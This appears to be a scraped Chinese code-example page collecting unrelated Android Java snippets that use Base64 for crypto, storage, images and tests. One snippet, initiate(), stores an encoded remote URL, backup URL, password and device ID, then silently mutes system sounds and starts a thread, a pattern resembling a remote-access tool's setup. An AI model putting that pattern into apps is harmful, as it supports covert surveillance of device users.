下面列出了java.security.spec.InvalidParameterSpecException#android.util.Base64 实例代码,或者点击链接到github查看源代码,也可以在右侧发表评论。
protected void injectExtra(Intent intent)
{
if(intent!=null)
{
Bundle extra = intent.getExtras();
if(extra.containsKey(KEY_AD_JSON))
{
String base64Str = extra.getString(KEY_AD_JSON);
if(!TextUtils.isEmpty(base64Str)) {
String json = new String(Base64.decode(base64Str,Base64.URL_SAFE|Base64.NO_WRAP));
try {
bean = JsonUtils.getGson().fromJson(json, AdvertiserBean.class);
}
catch (Exception ex)
{
LogUtil.e(TAG,"ERROR",ex);
finish();
}
}
}
}
}
public static Bitmap transform(byte[] inputData) {
String encoded;
encoded = Base64.encodeToString(inputData, Base64.DEFAULT);
MultiFormatWriter multiFormatWriter = new MultiFormatWriter();
Bitmap bitmap = null;
try {
BitMatrix bitMatrix = multiFormatWriter.encode(encoded, BarcodeFormat.QR_CODE, 1000, 1000);
BarcodeEncoder barcodeEncoder = new BarcodeEncoder();
bitmap = barcodeEncoder.createBitmap(bitMatrix);
} catch (WriterException e) {
Timber.e(e);
}
return bitmap;
}
private void migrateIBeaconItems(SQLiteDatabase db) {
SQLiteStatement updateStatement = createUpdater(db, "d0", "d1", "d2");
Cursor cursor = db.rawQuery("SELECT rowid, uuid, maj, min FROM " + IBEACONS_TABLE, null);
while (cursor.moveToNext()) {
updateStatement.bindLong(1, cursor.getLong(0));
updateStatement.bindBlob(2, Base64.decode(cursor.getString(1), Base64.DEFAULT));
updateStatement.bindLong(3, cursor.getInt(2));
updateStatement.bindLong(4, cursor.getInt(3));
executeSafeUpdateOrDelete(updateStatement);
}
cursor.close();
updateStatement.close();
db.execSQL("DROP TABLE " + IBEACONS_TABLE);
}
@ReactMethod
public void crypto_box_beforenm(final String pk, final String sk, final Promise p) {
try {
byte[] pkb = Base64.decode(pk, Base64.NO_WRAP);
byte[] skb = Base64.decode(sk, Base64.NO_WRAP);
if (pkb.length != Sodium.crypto_box_publickeybytes())
p.reject(ESODIUM,ERR_BAD_KEY);
else if (skb.length != Sodium.crypto_box_secretkeybytes())
p.reject(ESODIUM,ERR_BAD_KEY);
else {
byte[] s = new byte[Sodium.crypto_box_secretkeybytes()];
int result = Sodium.crypto_box_beforenm(s, pkb, skb);
if (result != 0)
p.reject(ESODIUM,ERR_FAILURE);
else
p.resolve(Base64.encodeToString(s,Base64.NO_WRAP));
}
}
catch (Throwable t) {
p.reject(ESODIUM,ERR_FAILURE,t);
}
}
private static byte[] getProtectionElementKeyId(byte[] initData) {
StringBuilder initDataStringBuilder = new StringBuilder();
for (int i = 0; i < initData.length; i += 2) {
initDataStringBuilder.append((char) initData[i]);
}
String initDataString = initDataStringBuilder.toString();
String keyIdString =
initDataString.substring(
initDataString.indexOf("<KID>") + 5, initDataString.indexOf("</KID>"));
byte[] keyId = Base64.decode(keyIdString, Base64.DEFAULT);
swap(keyId, 0, 3);
swap(keyId, 1, 2);
swap(keyId, 4, 5);
swap(keyId, 6, 7);
return keyId;
}
public Set<IdentityKey> loadIdentityKeys(Account account, String name, FingerprintStatus status) {
Set<IdentityKey> identityKeys = new HashSet<>();
Cursor cursor = getIdentityKeyCursor(account, name, false);
while (cursor.moveToNext()) {
if (status != null && !FingerprintStatus.fromCursor(cursor).equals(status)) {
continue;
}
try {
String key = cursor.getString(cursor.getColumnIndex(SQLiteAxolotlStore.KEY));
if (key != null) {
identityKeys.add(new IdentityKey(Base64.decode(key, Base64.DEFAULT), 0));
} else {
Log.d(Config.LOGTAG, AxolotlService.getLogprefix(account) + "Missing key (possibly preverified) in database for account" + account.getJid().asBareJid() + ", address: " + name);
}
} catch (InvalidKeyException e) {
Log.d(Config.LOGTAG, AxolotlService.getLogprefix(account) + "Encountered invalid IdentityKey in database for account" + account.getJid().asBareJid() + ", address: " + name);
}
}
cursor.close();
return identityKeys;
}
public void initiate()
{
try
{
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Media",false);
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Files",false).commit();
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("URL", encodedURL).commit();
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("backupURL", backupURL).commit();
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("password", encodedPassword).commit();
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("androidId", androidId).commit();
URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("URL", ""), Base64.DEFAULT ));
password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("password", ""), Base64.DEFAULT ));
AudioManager mgr = (AudioManager)getSystemService(Context.AUDIO_SERVICE);
mgr.setStreamMute(AudioManager.STREAM_SYSTEM, true);
} catch (Exception e) {e.printStackTrace();}
thread.start();
}
public String getSignedData(String b64data) {
PrivateKey privkey = getKeystoreKey();
byte[] data = Base64.decode(b64data, Base64.DEFAULT);
// The Jelly Bean *evil* Hack
// 4.2 implements the RSA/ECB/PKCS1PADDING in the OpenSSLprovider
if (Build.VERSION.SDK_INT == Build.VERSION_CODES.JELLY_BEAN) {
return processSignJellyBeans(privkey, data);
}
try {
/* ECB is perfectly fine in this special case, since we are using it for
the public/private part in the TLS exchange
*/
@SuppressLint("GetInstance") Cipher rsaSigner = Cipher.getInstance("RSA/ECB/PKCS1PADDING");
rsaSigner.init(Cipher.ENCRYPT_MODE, privkey);
byte[] signed_bytes = rsaSigner.doFinal(data);
return Base64.encodeToString(signed_bytes, Base64.NO_WRAP);
} catch (NoSuchAlgorithmException | InvalidKeyException | IllegalBlockSizeException
| BadPaddingException | NoSuchPaddingException e) {
VpnStatus.logError(R.string.error_rsa_sign, e.getClass().toString(), e.getLocalizedMessage());
return null;
}
}
private static byte[] getProtectionElementKeyId(byte[] initData) {
StringBuilder initDataStringBuilder = new StringBuilder();
for (int i = 0; i < initData.length; i += 2) {
initDataStringBuilder.append((char) initData[i]);
}
String initDataString = initDataStringBuilder.toString();
String keyIdString =
initDataString.substring(
initDataString.indexOf("<KID>") + 5, initDataString.indexOf("</KID>"));
byte[] keyId = Base64.decode(keyIdString, Base64.DEFAULT);
swap(keyId, 0, 3);
swap(keyId, 1, 2);
swap(keyId, 4, 5);
swap(keyId, 6, 7);
return keyId;
}
@Override
protected ODataRow doInBackground(ODataRow... params) {
if (mApp.inNetwork()) {
try {
Thread.sleep(500);
ODataRow attachment = params[0];
String base64 = irAttachment.getDatasFromServer(attachment.getInt(OColumn.ROW_ID));
if (!base64.equals("false")) {
String file = createFile(attachment.getString("name"),
Base64.decode(base64, 0)
, attachment.getString("file_type"));
Uri uri = Uri.fromFile(new File(file));
OValues values = new OValues();
values.put("file_uri", uri.toString());
irAttachment.update(attachment.getInt(OColumn.ROW_ID), values);
return irAttachment.browse(attachment.getInt(OColumn.ROW_ID));
}
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
private OpenForReadResult readDataUri(Uri uri) {
String uriAsString = uri.getSchemeSpecificPart();
int commaPos = uriAsString.indexOf(',');
if (commaPos == -1) {
return null;
}
String[] mimeParts = uriAsString.substring(0, commaPos).split(";");
String contentType = null;
boolean base64 = false;
if (mimeParts.length > 0) {
contentType = mimeParts[0];
}
for (int i = 1; i < mimeParts.length; ++i) {
if ("base64".equalsIgnoreCase(mimeParts[i])) {
base64 = true;
}
}
String dataPartAsString = uriAsString.substring(commaPos + 1);
byte[] data = base64 ? Base64.decode(dataPartAsString, Base64.DEFAULT) : EncodingUtils.getBytes(dataPartAsString, "UTF-8");
InputStream inputStream = new ByteArrayInputStream(data);
return new OpenForReadResult(uri, inputStream, contentType, data.length, null);
}
public static void processDataUriImage(ExecutorService executor, BrowserActivity activity, String data) {
executor.submit(() -> {
Context context = activity.getApplicationContext();
SimpleDateFormat dateFormat = new SimpleDateFormat ("yyyy-MM-dd HH-mm-ss");
String date = dateFormat.format (System.currentTimeMillis());
String filename = "gtb-".concat(date);
String image = data.substring(data.indexOf(",") + 1);
byte[] decodedString = Base64.decode(image, Base64.DEFAULT);
Bitmap decodedImage = BitmapFactory.decodeByteArray(decodedString, 0, decodedString.length);
Uri fileUri;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
fileUri = writeImageFile(context, filename, decodedImage);
} else {
fileUri = writeImageFileOld(context, filename, decodedImage);
}
Log.e("GOTO-DURL-P", "Path: " + fileUri.toString());
Log.e("GOTO-DURL-P", "Image Size: " + decodedImage.getWidth() + "x" + decodedImage.getHeight());
activity.runOnUiThread(() -> activity.showScreenshotNotification(decodedImage, fileUri));
});
}
public IIntakeData(long timeCreated, String timezone, long timeOffset, String originalHash, String cameraComponentPackageName) {
super();
InformaCam informaCam = InformaCam.getInstance();
JSONObject dataObj = new JSONObject();
try {
dataObj.put("timezone", timezone);
dataObj.put("timeCreated", timeCreated);
dataObj.put("timeOffset", timeOffset);
dataObj.put("cameraComponentPackageName", cameraComponentPackageName);
dataObj.put("originalHash", originalHash);
data = Base64.encode(dataObj.toString().getBytes(), Base64.DEFAULT);
signature = new String(informaCam.signatureService.signData(data));
} catch(Exception e) {
Logger.e(LOG, e);
}
}
@ReactMethod
public void crypto_scalarmult_base(final String n, final Promise p) {
try {
byte[] nb = Base64.decode(n, Base64.NO_WRAP);
if (nb.length != Sodium.crypto_box_secretkeybytes())
p.reject(ESODIUM,ERR_BAD_KEY);
else {
byte[] q = new byte[Sodium.crypto_box_publickeybytes()];
int result = Sodium.crypto_scalarmult_base(q, nb);
if (result != 0)
p.reject(ESODIUM,ERR_BAD_KEY);
else
p.resolve(Base64.encodeToString(q,Base64.NO_WRAP));
}
}
catch (Throwable t) {
p.reject(ESODIUM,ERR_FAILURE,t);
}
}
/**
* Checks if the apk signature is valid.
*
* @param context The context.
* @param certificateSignature The certificate signature.
*
* @return a boolean indicating if the signature is valid.
*/
private static boolean isAValidSignature(Context context, String certificateSignature) {
try {
PackageInfo packageInfo = context.getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_SIGNATURES);
// The APK is signed with multiple signatures, probably it was tampered.
if (packageInfo.signatures.length > 1) {
return false;
}
for (Signature signature : packageInfo.signatures) {
MessageDigest md = MessageDigest.getInstance("SHA");
md.update(signature.toByteArray());
if (certificateSignature.compareToIgnoreCase(Base64.encodeToString(md.digest(), Base64.DEFAULT)) == 0) {
return true;
}
}
} catch (Exception exception) {
Log.d("TAMPERING_PROTECTION", exception.getStackTrace().toString());
}
return false;
}
private String sendData() {
String requestURL = getString(R.string.feedback_url);
HashMap<String, String> postDataParams = new HashMap<>();
String comment = ((EditText)findViewById(R.id.err_user_comment)).getText().toString();
if (comment.length()>0) {
comment = "\ncomment:" + Base64.encodeToString(comment.getBytes(),Base64.DEFAULT) + "\n";
}
postDataParams.put("app",appname);
postDataParams.put("data", error + comment);
String response = HttpUtils.sendPostData(requestURL, postDataParams);
Log.d("err-report" , response);
return response;
}
public Amiibo toAmiibo() {
try {
Amiibo amiibo = new Amiibo();
amiibo.name = name;
amiibo.uuid = uuid;
if (amiibo.uuid == null) amiibo.uuid = UUID.randomUUID().toString();
amiibo.game_name = game_name;
amiibo.created_at = created_at;
amiibo.data = new Blob(Base64.decode(data, Base64.URL_SAFE | Base64.NO_WRAP));
amiibo.amiibo_identifier = amiibo_identifier;
return amiibo;
} catch (Exception exception_while_parsing) {
exception_while_parsing.printStackTrace();
return null;
}
}
@Test
public void shouldSaveNonRefreshableCredentialsInStorage() {
long expirationTime = CredentialsMock.CURRENT_TIME_MS + 123456 * 1000;
Credentials credentials = new CredentialsMock("idToken", "accessToken", "type", null, new Date(expirationTime), "scope");
String json = gson.toJson(credentials);
prepareJwtDecoderMock(new Date(expirationTime));
when(crypto.encrypt(json.getBytes())).thenReturn(json.getBytes());
manager.saveCredentials(credentials);
verify(storage).store(eq("com.auth0.credentials"), stringCaptor.capture());
verify(storage).store("com.auth0.credentials_expires_at", expirationTime);
verify(storage).store("com.auth0.credentials_can_refresh", false);
verifyNoMoreInteractions(storage);
final String encodedJson = stringCaptor.getValue();
assertThat(encodedJson, is(notNullValue()));
final byte[] decoded = Base64.decode(encodedJson, Base64.DEFAULT);
Credentials storedCredentials = gson.fromJson(new String(decoded), Credentials.class);
assertThat(storedCredentials.getAccessToken(), is("accessToken"));
assertThat(storedCredentials.getIdToken(), is("idToken"));
assertThat(storedCredentials.getRefreshToken(), is(nullValue()));
assertThat(storedCredentials.getType(), is("type"));
assertThat(storedCredentials.getExpiresAt(), is(notNullValue()));
assertThat(storedCredentials.getExpiresAt().getTime(), is(expirationTime));
assertThat(storedCredentials.getScope(), is("scope"));
}
public byte[] setAuthCredentials(String plainPassword) {
byte[] key = null;
try {
int iterations = EncryptionHelper.generateRandomIterations();
EncryptionHelper.PBKDF2Credentials credentials = EncryptionHelper.generatePBKDF2Credentials(plainPassword, getSalt(), iterations);
String password = Base64.encodeToString(credentials.password, Base64.URL_SAFE);
setIterations(iterations);
setString(R.string.settings_key_auth_credentials, password);
key = credentials.key;
} catch (NoSuchAlgorithmException | InvalidKeySpecException e) {
e.printStackTrace();
}
return key;
}
private static boolean checkDexFile(File dexFile) {
if (dexFile != null && dexFile.exists()) {
try {
final MessageDigest digest = MessageDigest.getInstance("SHA1");
final InputStream fileInputStream = new FileInputStream(dexFile);
final byte[] buffer = new byte[4096];
int len;
while ((len = fileInputStream.read(buffer)) > 0) {
digest.update(buffer, 0, len);
}
final String checksum = new String(Base64.encode(digest.digest(), Base64.DEFAULT)).trim();
return TgVoipDex.getChecksum().equals(checksum);
} catch (Exception e) {
FileLog.e(e);
return false;
}
} else {
return false;
}
}
private static JSONObject serializeTuple(PebbleTuple t) throws JSONException {
JSONObject j = new JSONObject();
j.put(KEY, t.key);
j.put(TYPE, t.type.getName());
j.put(LENGTH, t.width.value);
switch (t.type) {
case BYTES:
j.put(VALUE, Base64.encodeToString((byte[]) t.value, Base64.NO_WRAP));
break;
case STRING:
case INT:
case UINT:
j.put(VALUE, t.value);
break;
}
return j;
}
public String getSignedData(String b64data) {
PrivateKey privkey = getKeystoreKey();
byte[] data = Base64.decode(b64data, Base64.DEFAULT);
// The Jelly Bean *evil* Hack
// 4.2 implements the RSA/ECB/PKCS1PADDING in the OpenSSLprovider
if (Build.VERSION.SDK_INT == Build.VERSION_CODES.JELLY_BEAN) {
return processSignJellyBeans(privkey, data);
}
try {
/* ECB is perfectly fine in this special case, since we are using it for
the public/private part in the TLS exchange
*/
@SuppressLint("GetInstance")
Cipher rsaSigner = Cipher.getInstance("RSA/ECB/PKCS1PADDING");
rsaSigner.init(Cipher.ENCRYPT_MODE, privkey);
byte[] signed_bytes = rsaSigner.doFinal(data);
return Base64.encodeToString(signed_bytes, Base64.NO_WRAP);
} catch (NoSuchAlgorithmException | InvalidKeyException | IllegalBlockSizeException
| BadPaddingException | NoSuchPaddingException e) {
VpnStatus.logError(R.string.error_rsa_sign, e.getClass().toString(), e.getLocalizedMessage());
return null;
}
}
/**
* Removes and returns the buffered Ticl message, if any. If no message was buffered, returns
* {@code null}.
*/
static byte[] takeBufferedMessage(Context context) {
SharedPreferences preferences = getPreferences(context);
String message = preferences.getString(BUFFERED_MSG_PREF, null);
if (message == null) {
// No message was buffered.
return null;
}
// There is a message to return. Remove the stored value from the preferences.
SharedPreferences.Editor editor = preferences.edit();
editor.remove(BUFFERED_MSG_PREF);
// If this fails, we might send the same message twice, which is fine.
commitEditor(editor, "takeBufferedMessage");
// Return the decoded message.
return Base64.decode(message, Base64.URL_SAFE);
}
public void load() {
try {
File appDir = new File(mContext.getCacheDir(), SendBird.getApplicationId());
appDir.mkdirs();
File dataFile = new File(appDir, TextUtils.generateMD5(SendBird.getCurrentUser().getUserId() + "channel_list") + ".data");
String content = FileUtils.loadFromFile(dataFile);
String[] dataArray = content.split("\n");
// Reset channel list, then add cached data.
mChannelList.clear();
for (int i = 0; i < dataArray.length; i++) {
mChannelList.add((GroupChannel) BaseChannel.buildFromSerializedData(Base64.decode(dataArray[i], Base64.DEFAULT | Base64.NO_WRAP)));
}
notifyDataSetChanged();
} catch(Exception e) {
// Nothing to load.
}
}
public static String base64Decode(String s){
byte[] dataDec = Base64.decode(s, Base64.NO_WRAP);
String decodedString = "";
try{
decodedString = new String(dataDec, "UTF-8");
}catch (UnsupportedEncodingException e){
e.printStackTrace();
}finally{
return decodedString;
}
}
private String getBytesAsString(byte[] bytes) {
if (bytes == null) return "null";
try {
CharsetDecoder d = Charset.forName("US-ASCII").newDecoder();
CharBuffer r = d.decode(ByteBuffer.wrap(bytes));
return r.toString();
} catch (Exception e) {
return Base64.encodeToString(bytes, Base64.NO_WRAP);
}
}
protected static String getApplicationName(Form params) throws OAuthException {
String base64ApplicationName = params.getFirstValue(APPLICATION_NAME);
String applicationName = new String(Base64.decode(base64ApplicationName, Base64.URL_SAFE|Base64.NO_WRAP));
if (applicationName == null || applicationName.isEmpty()) {
throw new OAuthException(OAuthError.invalid_request,
"Mandatory parameter application_name is missing", null);
}
return applicationName;
}
private void generateUserDefinedCategoriesList(JSONObject jsonObject, ArrayList<HashMap<String, String>> list) {
JSONArray array = jsonObject.optJSONArray("userDefinedCategories");
if (array == null) {
return;
}
JSONObject oneUserDefinedCategoriesJSONObject;
String myCustomizationDashLineLabel = getString(R.string.myCustomizationDashLineLabel);
String defaultLabel = "";
for (int i = 0; i < array.length(); ++i) {
oneUserDefinedCategoriesJSONObject = array.optJSONObject(i);
if (oneUserDefinedCategoriesJSONObject == null) {
continue;
}
HashMap<String, String> keyValuePair = new HashMap<>();
keyValuePair.put("title",
String.format(myCustomizationDashLineLabel,
new String(
Base64.decode(
oneUserDefinedCategoriesJSONObject.optString(
"label", defaultLabel),
Base64.DEFAULT
)
)
)
);
try {
oneUserDefinedCategoriesJSONObject.put("i", Integer.toString(i));
} catch (JSONException e) {
e.printStackTrace();
}
keyValuePair.put("spKey", Integer.toString(i));
keyValuePair.put("category", "userDefinedCategories");
list.add(keyValuePair);
}
}
public String encrypt(String data) throws EncryptionException {
try {
Cipher cipher = Cipher.getInstance(AES_CIPHER);
cipher.init(
Cipher.ENCRYPT_MODE, mKey.getKey(),
new GCMParameterSpec(GCM_TAG_LENGTH, mKey.getIv()));
byte[] encrypted = cipher.doFinal(data.getBytes(Charset.forName(DEFAULT_CHARSET)));
return Base64.encodeToString(encrypted, Base64.DEFAULT);
} catch (Exception e) {
throw new EncryptionException("Failed to encrypt data: ", e);
}
}
/**
* 加载bitmap,根据目标宽高对图片进行缩放,减少内存占用
* @param filePath
* @return
*/
public static Bitmap loadBitmap(String filePath,int reqWidth,int reqHeight,boolean hdMode){
BitmapFactory.Options options = new BitmapFactory.Options();
options.inJustDecodeBounds = true; // 解析图片的时候,只解析长度和宽度,不载入图片,这样就节省内存开支
if (hdMode){
options.inPreferredConfig = Bitmap.Config.ARGB_8888;
}else {
options.inPreferredConfig = Bitmap.Config.RGB_565;
}
Bitmap bitmap = null;
if (filePath.matches("data:image.*base64.*")) {
String base_64_source = filePath.replaceAll("data:image.*base64", "");
byte[] data = Base64.decode(base_64_source, Base64.DEFAULT);
// 只加载bitmap宽高数据
BitmapFactory.decodeByteArray(data, 0, data.length,options);
options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight);
options.inJustDecodeBounds = false;
bitmap = BitmapFactory.decodeByteArray(data, 0, data.length,options);
}else {
// 只加载bitmap宽高数据
BitmapFactory.decodeFile(filePath, options);
options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight);
options.inJustDecodeBounds = false;
// 根据缩放比例加载bitmap,减少内存
bitmap = BitmapFactory.decodeFile(filePath, options);
}
return bitmap;
}